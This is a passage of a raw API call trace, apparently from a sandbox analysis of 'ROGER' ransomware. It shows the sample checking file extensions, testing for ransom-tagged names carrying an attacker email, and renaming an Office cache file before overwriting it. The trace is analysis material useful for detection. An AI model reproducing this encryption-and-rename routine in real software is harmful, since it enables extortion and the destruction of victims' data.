lpString2="e.mui") returned -1 [0037.427] lstrlenW (lpString=".ppt") returned 4 [0037.427] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0037.427] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0037.427] lstrlenW (lpString=".zip") returned 4 [0037.428] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0037.428] lstrlenW (lpString=".rar") returned 4 [0037.428] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0037.428] lstrlenW (lpString=".bz2") returned 4 [0037.428] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0037.428] lstrlenW (lpString=".7z") returned 3 [0037.428] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0037.428] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0037.428] lstrlenW (lpString=".dbf") returned 4 [0037.428] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0037.428] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0037.428] lstrlenW (lpString=".1cd") returned 4 [0037.428] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0037.428] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0037.428] lstrlenW (lpString=".jpg") returned 4 [0037.428] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0037.428] lstrcmpiW (lpString1=".mui", lpString2=".ROGER") returned -1 [0037.428] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0037.428] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0037.428] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=90688) returned 1 [0037.429] CloseHandle (hObject=0x370) returned 1 [0037.429] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0037.429] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0037.429] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.429] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0037.429] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0037.429] lstrlenW (lpString=".doc") returned 4 [0037.429] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0037.429] lstrlenW (lpString=".docx") returned 5 [0037.429] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0037.429] lstrlenW (lpString=".pdf") returned 4 [0037.429] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0037.429] lstrlenW (lpString=".xls") returned 4 [0037.429] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0037.429] lstrlenW (lpString=".xlsx") returned 5 [0037.429] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0037.429] lstrlenW (lpString=".ppt") returned 4 [0037.429] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0037.429] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0037.429] lstrlenW (lpString=".zip") returned 4 [0037.429] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0037.429] lstrlenW (lpString=".rar") returned 4 [0037.429] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0037.429] lstrlenW (lpString=".bz2") returned 4 [0037.429] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0037.429] lstrlenW (lpString=".7z") returned 3 [0037.429] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0037.429] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0037.429] lstrlenW (lpString=".dbf") returned 4 [0037.430] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0037.430] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0037.430] lstrlenW (lpString=".1cd") returned 4 [0037.430] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0037.430] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0037.430] lstrlenW (lpString=".jpg") returned 4 [0037.430] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0037.430] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0037.430] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0037.430] lstrlenW (lpString=".doc") returned 4 [0037.430] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0037.430] lstrlenW (lpString=".docx") returned 5 [0037.430] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0037.430] lstrlenW (lpString=".pdf") returned 4 [0037.430] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0037.430] lstrlenW (lpString=".xls") returned 4 [0037.430] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0037.430] lstrlenW (lpString=".xlsx") returned 5 [0037.430] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0037.430] lstrlenW (lpString=".ppt") returned 4 [0037.430] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0037.430] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0037.430] lstrlenW (lpString=".zip") returned 4 [0037.430] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0037.430] lstrlenW (lpString=".rar") returned 4 [0037.430] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0037.430] lstrlenW (lpString=".bz2") returned 4 [0037.430] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0037.430] lstrlenW (lpString=".7z") returned 3 [0037.430] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0037.430] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0037.430] lstrlenW (lpString=".dbf") returned 4 [0037.430] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0037.430] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0037.431] lstrlenW (lpString=".1cd") returned 4 [0037.431] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0037.431] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0037.431] lstrlenW (lpString=".jpg") returned 4 [0037.431] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0037.431] lstrcmpiW (lpString1=".mui", lpString2=".ROGER") returned -1 [0037.431] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0037.431] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0037.431] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=90704) returned 1 [0037.431] CloseHandle (hObject=0x370) returned 1 [0037.431] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0037.431] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0037.431] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.431] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0037.431] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0037.431] lstrlenW (lpString=".doc") returned 4 [0037.431] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0037.431] lstrlenW (lpString=".docx") returned 5 [0037.431] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0037.431] lstrlenW (lpString=".pdf") returned 4 [0037.431] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0037.432] lstrlenW (lpString=".xls") returned 4 [0037.432] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0037.432] lstrlenW (lpString=".xlsx") returned 5 [0037.432] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0037.432] lstrlenW (lpString=".ppt") returned 4 [0037.432] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0037.432] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0037.432] lstrlenW (lpString=".zip") returned 4 [0037.432] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0037.432] lstrlenW (lpString=".rar") returned 4 [0037.432] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0037.432] lstrlenW (lpString=".bz2") returned 4 [0037.432] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0037.432] lstrlenW (lpString=".7z") returned 3 [0037.432] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0037.432] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0037.432] lstrlenW (lpString=".dbf") returned 4 [0037.432] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0037.432] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0037.432] lstrlenW (lpString=".1cd") returned 4 [0037.432] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0037.432] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0037.432] lstrlenW (lpString=".jpg") returned 4 [0037.432] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0037.432] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0037.432] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0037.432] lstrlenW (lpString=".doc") returned 4 [0037.432] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0037.432] lstrlenW (lpString=".docx") returned 5 [0037.432] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0037.432] lstrlenW (lpString=".pdf") returned 4 [0037.432] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0037.432] lstrlenW (lpString=".xls") returned 4 [0037.432] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0037.433] lstrlenW (lpString=".xlsx") returned 5 [0037.433] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0037.433] lstrlenW (lpString=".ppt") returned 4 [0037.433] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0037.433] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0037.433] lstrlenW (lpString=".zip") returned 4 [0037.433] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0037.433] lstrlenW (lpString=".rar") returned 4 [0037.433] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0037.433] lstrlenW (lpString=".bz2") returned 4 [0037.433] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0037.433] lstrlenW (lpString=".7z") returned 3 [0037.433] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0037.433] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0037.433] lstrlenW (lpString=".dbf") returned 4 [0037.433] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0037.433] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0037.433] lstrlenW (lpString=".1cd") returned 4 [0037.433] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0037.433] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0037.433] lstrlenW (lpString=".jpg") returned 4 [0037.433] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0037.433] lstrcmpiW (lpString1=".mui", lpString2=".ROGER") returned -1 [0037.433] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0037.433] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0037.433] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=76352) returned 1 [0037.434] CloseHandle (hObject=0x370) returned 1 [0037.434] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0037.434] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0037.434] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.434] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0037.434] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0037.434] lstrlenW (lpString=".doc") returned 4 [0037.434] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0037.434] lstrlenW (lpString=".docx") returned 5 [0037.434] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0037.434] lstrlenW (lpString=".pdf") returned 4 [0037.434] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0037.434] lstrlenW (lpString=".xls") returned 4 [0037.434] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0037.434] lstrlenW (lpString=".xlsx") returned 5 [0037.434] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0037.434] lstrlenW (lpString=".ppt") returned 4 [0037.434] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0037.434] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0037.434] lstrlenW (lpString=".zip") returned 4 [0037.434] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0037.434] lstrlenW (lpString=".rar") returned 4 [0037.434] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0037.434] lstrlenW (lpString=".bz2") returned 4 [0037.434] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0037.434] lstrlenW (lpString=".7z") returned 3 [0037.434] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0037.434] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0037.434] lstrlenW (lpString=".dbf") returned 4 [0037.434] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0037.435] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0037.435] lstrlenW (lpString=".1cd") returned 4 [0037.435] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0037.435] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0037.435] lstrlenW (lpString=".jpg") returned 4 [0037.435] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0037.435] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0037.435] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0037.435] lstrlenW (lpString=".doc") returned 4 [0037.435] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0037.435] lstrlenW (lpString=".docx") returned 5 [0037.435] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0037.435] lstrlenW (lpString=".pdf") returned 4 [0037.435] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0037.435] lstrlenW (lpString=".xls") returned 4 [0037.435] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0037.435] lstrlenW (lpString=".xlsx") returned 5 [0037.435] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0037.435] lstrlenW (lpString=".ppt") returned 4 [0037.435] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0037.435] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0037.435] lstrlenW (lpString=".zip") returned 4 [0037.435] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0037.435] lstrlenW (lpString=".rar") returned 4 [0037.435] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0037.435] lstrlenW (lpString=".bz2") returned 4 [0037.435] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0037.435] lstrlenW (lpString=".7z") returned 3 [0037.435] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0037.435] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0037.435] lstrlenW (lpString=".dbf") returned 4 [0037.435] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0037.435] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0037.435] lstrlenW (lpString=".1cd") returned 4 [0037.436] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0037.436] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0037.436] lstrlenW (lpString=".jpg") returned 4 [0037.436] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0037.436] lstrcmpiW (lpString1=".mui", lpString2=".ROGER") returned -1 [0037.436] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0037.436] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0037.436] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=75344) returned 1 [0037.436] CloseHandle (hObject=0x370) returned 1 [0037.436] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0037.436] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0037.436] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.436] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0037.436] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0037.436] lstrlenW (lpString=".doc") returned 4 [0037.436] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0037.436] lstrlenW (lpString=".docx") returned 5 [0037.436] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0037.436] lstrlenW (lpString=".pdf") returned 4 [0037.437] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0037.437] lstrlenW (lpString=".xls") returned 4 [0037.437] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0037.437] lstrlenW (lpString=".xlsx") returned 5 [0037.437] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0037.437] lstrlenW (lpString=".ppt") returned 4 [0037.437] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0037.437] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0037.437] lstrlenW (lpString=".zip") returned 4 [0037.437] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0037.437] lstrlenW (lpString=".rar") returned 4 [0037.437] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0037.437] lstrlenW (lpString=".bz2") returned 4 [0037.437] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0037.437] lstrlenW (lpString=".7z") returned 3 [0037.437] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0037.437] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0037.437] lstrlenW (lpString=".dbf") returned 4 [0037.437] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0037.437] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0037.437] lstrlenW (lpString=".1cd") returned 4 [0037.437] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0037.437] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0037.437] lstrlenW (lpString=".jpg") returned 4 [0037.437] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0037.437] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0037.437] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0037.437] lstrlenW (lpString=".doc") returned 4 [0037.437] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0037.437] lstrlenW (lpString=".docx") returned 5 [0037.437] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0037.437] lstrlenW (lpString=".pdf") returned 4 [0037.437] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0037.437] lstrlenW (lpString=".xls") returned 4 [0037.438] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0037.438] lstrlenW (lpString=".xlsx") returned 5 [0037.438] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0037.438] lstrlenW (lpString=".ppt") returned 4 [0037.438] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0037.438] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0037.438] lstrlenW (lpString=".zip") returned 4 [0037.438] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0037.438] lstrlenW (lpString=".rar") returned 4 [0037.438] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0037.438] lstrlenW (lpString=".bz2") returned 4 [0037.438] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0037.438] lstrlenW (lpString=".7z") returned 3 [0037.438] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0037.438] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0037.438] lstrlenW (lpString=".dbf") returned 4 [0037.438] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0037.438] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0037.438] lstrlenW (lpString=".1cd") returned 4 [0037.438] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0037.438] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0037.438] lstrlenW (lpString=".jpg") returned 4 [0037.438] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0037.438] lstrcmpiW (lpString1=".exe", lpString2=".ROGER") returned -1 [0037.438] lstrlenW (lpString="memtest.exe") returned 11 [0037.438] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0037.439] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=485760) returned 1 [0037.439] CloseHandle (hObject=0x370) returned 1 [0037.439] GetFileAttributesW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0037.439] GetFileAttributesW (lpFileName="C:\\Boot\\memtest.exe.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\boot\\memtest.exe.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0037.439] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.439] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0037.439] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0037.439] lstrlenW (lpString=".doc") returned 4 [0037.439] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0037.439] lstrlenW (lpString=".docx") returned 5 [0037.439] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0037.439] lstrlenW (lpString=".pdf") returned 4 [0037.439] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0037.439] lstrlenW (lpString=".xls") returned 4 [0037.439] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0037.439] lstrlenW (lpString=".xlsx") returned 5 [0037.439] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0037.439] lstrlenW (lpString=".ppt") returned 4 [0037.439] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0037.439] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0037.439] lstrlenW (lpString=".zip") returned 4 [0037.439] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0037.439] lstrlenW (lpString=".rar") returned 4 [0037.439] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0037.439] lstrlenW (lpString=".bz2") returned 4 [0037.439] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0037.439] lstrlenW (lpString=".7z") returned 3 [0037.439] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0037.441] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0037.442] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0037.442] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc6c | out: lpNewFilePointer=0x0) returned 1 [0037.442] SetFilePointerEx (in: hFile=0x370, 